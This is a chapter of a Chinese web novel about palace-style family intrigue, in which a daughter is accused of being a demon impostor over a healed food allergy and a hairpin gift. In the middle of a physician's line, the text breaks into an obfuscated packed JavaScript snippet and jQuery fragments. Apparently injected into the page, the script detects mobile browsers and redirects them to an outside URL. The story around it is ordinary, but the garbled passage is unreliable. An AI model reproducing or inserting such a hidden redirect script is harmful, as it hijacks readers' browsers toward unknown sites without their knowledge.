第七十章 身份疑云

作品:《替身嫡谋

    “你到底是什么人?!”关怀素才进屋,便见老夫人惊恐又愤怒地说,“你到底是人,还是什么精怪妖孽?!”


    关怀素假作惊恐地看向李珺,紧张地问:“父亲,祖母是发癔症了吗?”


    李珺脸色十分不好看,孙萍立刻站出来,说:“方妈妈,你把你发现的事情告诉大姑娘!”


    立刻有个老妈妈站出来,跪下说:“是,前些日子小年家宴,老奴亲眼看着大姑娘吃了许多拌橡子冻!”


    “婉玉,你可承认此事?”孙萍像是抓住了什么大把柄,立刻追问。


    关怀素想起来,确实有这事,立刻点头,痛快地说:“确实有此事,厨房做的橡子冻脆爽好吃,在屋里炭盆熏得慌,吃这个爽口。”


    “看,她承认了!”孙萍立刻指着说!


    老夫人更是害怕地缩了起来,恨不得躲开,李珺都露出了惊疑不定的神色。


    关怀素不明所以,李珺颤声说:“你去年还吃不得橡子粉,一吃就满身红疹,自小到大都是如此……”


    听到这里,关怀素可算明白了。


    她悄悄松了口气,面上郑重地说:“我当是什么,原来是这事儿。是,原先我是吃不得,但是在庄子上之后,也不知是因为日常事情都要自己做,还是来来去去劳累的关系,我长高了很多,身体也好了许多。当时我在庄子上没有菜吃,饥饿难耐吃了橡子粉,发现没事,便慢慢也习惯吃了。”


    说完,关怀素行了个礼,对李珺说:“我只当这是个小事,没跟家里说,是婉玉的不是。”


    李珺被她这一番话含沙射影,说的是脸上有些臊红。


    “不可能!你定是恶鬼假扮婉玉!”老夫人却不信,立刻说,“不然你怎地性情大变!如今都说得通了!”


    孙萍也是害怕又惊恐地说:“婉玉,你空口无凭,怎么能叫我们信任!”


    关怀素脸色沉下脸,冷声说:“子不语怪力乱神,此事是不是真的,请郎中上门,便可以知道真假,这是其一。”


    她看向李珺,说:“其二,父亲乃是正经读书人,李家门庭正派、身为朝廷命官有正气护体,鬼怪何敢侵犯朝中栋梁之家?只有家风败坏、道德低下、****、民怨纷腾之家才会招惹妖邪,母亲和祖母岂可胡说,这置父亲于何地?!”


    李珺听到这里,登时心里一跳,想起来——是啊,此事不可闹开,若是叫政敌知道,不免要拿此事做筏子!


    他立刻清醒过来,说:“去请郎中!”


    李福立刻使了个眼色,小厮便匆匆冲了出去。


    “如今想起来,大姐姐确实像变了个人。”婉蓉眼珠一转,突然开口,说,“说话做事都不一样了,样子也变了许多。”


    “确实呢。”婉淑也在旁边小声附和,“便是穿衣打扮也与往日都不一样,喜欢的吃食也变了。”


    关怀素冷笑一声,说:“你们去庄子上待半年,过过三日只得一缸水,一天只得一顿饭的日子,再去自己对付一下刁难人的庄头,被人下毒下人不给请郎中的日子。去过半年那样的日子,我瞧瞧你们到底会不会还和现在一模一样!”


    “行了,你们都闭嘴!”李珺听得不舒服,立刻开口呵斥。


    正说话间,小厮带着郎中进来了,说:“才到门口,刚巧遇到郎中给老夫人请平安脉来了。”


    “烦请黄老给小女诊脉。”李珺闻言,立刻开口说。


    黄郎中是李家常用的郎中,已经七旬老者,自不需要避讳,关怀素坐下,老人便把了一下脉,老夫人便立刻紧张地问:“她和半年前,有什么差别?”


    郎中拱手笑着说:“大姑娘身子养得很好,先前那些虚症已经完全没了,老夫人请放心。”


    “我不是问这个!”老夫人崩溃地说,“她可还是婉玉?”


    黄郎中愣了一下,不明所以。


    “黄老,婆母的意思是,前年婉玉还曾因厨下橡子粉没弄干净,掺杂在别的食物里,起了一场疹子,你可还记得?”孙萍眼看着不对,立刻站出来笑着说。


    “哦哦哦,老夫记得,是前年夏日的事情。”黄郎中点头。


    孙萍露笑说:“那她可否有可能,今年突然就可以大量食用橡子粉,而没有任何症状呢?”


    “这……风疹这东西,实在是不好说。”黄郎中迟疑地说。


    “她绝对是妖孽变的!”孙萍身边的一个老妈妈跳出来,大声说,“我亲眼看着这妖孽吃了许多橡子粉做的橡子冻,两次都没起疹子!她定然是假扮的!”


    “快去请护国寺的道长来,家里有妖怪啊!”老夫人更是惊得差点昏厥过去,大声说。


    李珺也是惊疑不定,周围的下人家丁登时都露出恐惧之色。


    关怀素一拍桌子站起来,中气十足怒斥:“一派胡言,我都说了我是去了庄子上,没有吃喝,情急之下吃了发现没事而已。我已经长大,身体调理好,风疹消失了十分正常!这风疹的事情素来就是肺腑风邪罢了,调理好了自然能消失,不信让黄老给我把脉,自然便可以作证!”


    黄郎中到这里才完全听懂了这一屋子人在吵什么,闻言立刻说:“是有可能的,风疹这东西确实是可能自愈的。”


    “不可能,她绝对是妖孽变得!”孙萍身边老妈妈大声说,“她不但能吃橡子粉,日常行事与以往的大姑娘都不一样,她绝对是妖孽,不然你看她额头上的那珍珠簪子,是哪里来的?肯定是她使妖法变得!”


    李珺闻言这才往她头上看,一看登时惊疑不定,说:“玉儿,这珍珠簪瞧着不像是民间东西,你从哪里弄来的?”


    关怀素心中冷笑,面上一派沉静,说:“回父亲,这是平安侯赠与我的。”


    她猜测,孙萍身边的老妈妈突然提到这个簪子,一定是要用这个作为借口,来引出什么,绝不只是为了装疯卖傻。


    关怀素已经猜到了他们会用什么说事儿了。


    果然崔妙人捂口故作惊愕地说:“无缘无故,平安侯为何要送大姑娘这等珍贵的礼物,莫非……”


    “非为私情,平安侯不过是想谢我之前宴会里帮他处理水道图之事。”关怀素顺着她的话回答。


    “说到这个水道图,确实是古怪,婉玉你什么时候会了这等本事?”李珺上回因为事发突然,都没细想此事,如今想起来,只觉得十分奇怪,说,“水道工学之事,不是非三五载不可入门么,你最多在庄子上待了半年,怎么就能看得懂如此复杂的水道图?”


    “回父亲,我也不知道。”关怀素拱手,故作疑惑地说,“我就是看了祖父留下的手书,翻看一番,便好像就明白了。”


    历朝历代都有这等惊才绝艳的天才,关怀素便故意如此说,李家人怀疑又如何?谁能找到证据?


    “父亲,簪子不是我变的,乃是侯爷所赠。实话说,侯爷送了我一套发冠,这簪子不过是配发冠的帽簪罢了。”关怀素环视李家人,轻声说,“这东西对咱们金贵,侯爷说了,也不过是他府里放着落灰的小玩意儿,随手赏我的罢了。若是因为这个污蔑我是妖孽,我便是去京师府衙,也不认这等栽赃!”


    “李大人,这、这风疹一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254011|181019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事,确实是来去无踪,便是京师里头,也有听说过风疹和花疹时好时坏的事情。”黄郎中忍不住拱手说。


    “多谢郎中,此事乃是家中妇孺不懂事,闹了一场乌龙,还请老人家看在老母年迈的情分上,勿要外传。”李珺闻言立刻说着,使了个眼色,李福立刻塞了个荷包过去,把道谢的黄郎中送出去。


    而后李珺立刻对老夫人说:“母亲,您先去休息。”


    又吩咐:“叫厨房煮安神汤送来,给母亲喝了再休息。”


    说着,叫人把老夫人送去屋里休息后,李珺便对孙大娘子说:“好好的一天,你身边那老仆**胡说八道,闹得一家子家宅不宁!”


    又对关怀素说:“老夫人年纪大了,许多事情不免糊涂了,玉儿,你别放在心上。”


    关怀素点头,故作委屈地擦擦眼睛,带着难过地说:“无事,父亲肯信我,女儿不委屈。”


    李珺闻言,心中一软,便温声说:“你去屋里休息去吧。”


    关怀素闻言立刻请安离开。


    回到院子,柳叶立刻说:“姑娘为何不追究大娘子?她身边的老妈妈居然敢如此胡言乱语攀扯您,难道便这么放过她了?”


    丁妈妈也是如此,愤怒地说:“那个老货是荷花的娘老子,她定是记着荷花的死,在挑事儿!姑娘,你等着,我这就去找她的对手,寻一寻这老货的晦气去!”


    “好!”关怀素立刻答应下来,看着丁妈妈斗鸡一般地去了,转头立刻和柳叶说:“李珺定然也怀疑我的身份了。安排出去,叫师兄和钟妈妈想办法,一定要把老家的事情和八仙庄发生的事情解决好,绝不可走漏一丝风声。”


    柳叶紧张地说:“老爷瞧着并不像是怀疑姑娘的样子?”


    “孙萍此人城府极深,从不做没有把握的事情,今日之事发难的太仓促儿戏,不是她的作风。”关怀素轻声说,“事发之后,李珺匆忙在平息按下此事,没有申斥大娘子,也不曾处罚那老妈妈,这与李珺的性子也不符合,所以我猜,此事应真是孙萍身边的老妈妈发现,但是不知为何叫老夫人知道风声,李珺还没想好如何处置,老夫人便闹起来,于是才出现了今日的状况。”


    不得不说,关怀素虽未曾看到,但是推测的一分不差。


    她离开之后,孙萍也很快回了院子。


    她回屋就说:“扶芳,你去把我库房里那百子图首饰盒找来。”


    扶芳答应下来,没一会儿抱着盒子来了,放在孙萍面前,轻声说:“十来年都没动过了,我方才擦拭了一下,但还是有些灰尘,娘子仔细些。”


    孙萍点头,打开这黑漆描金的匣子,两旁展开,挂着的挂坠儿、玉坠、金锁等等一字排开。


    上层一对对的孩童金项圈、璎珞,中间全数是一对对的小如意……一概种种,全数都是成双成对。


    孙大娘子眯着眼睛,抚摸最上层盒子的那两只逗趣的蝉。


    “姑娘,世上哪里有那么凑巧的事情,风疹突然好了,人说话做事全然不一样了,不可能的!”方妈妈还在耳边一直不停地说着,恶狠狠地说,“她定然是妖孽!老爷为什么让您休息,不要再管此事?”


    “老爷定然去查了。”孙萍眯了眯眼睛,轻声说,“明日叫周妈妈也去查探一番,我倒要瞧瞧,这到底是凑巧,还是里头真的有什么猫腻!”


    说着,孙大娘子的眼神移到了全部抽开的五层抽屉,看着里面全部成双成对的小东西,眼里含着思索与审视。


    当夜,三拨人悄无声息地从李家出去,俱往城外而去。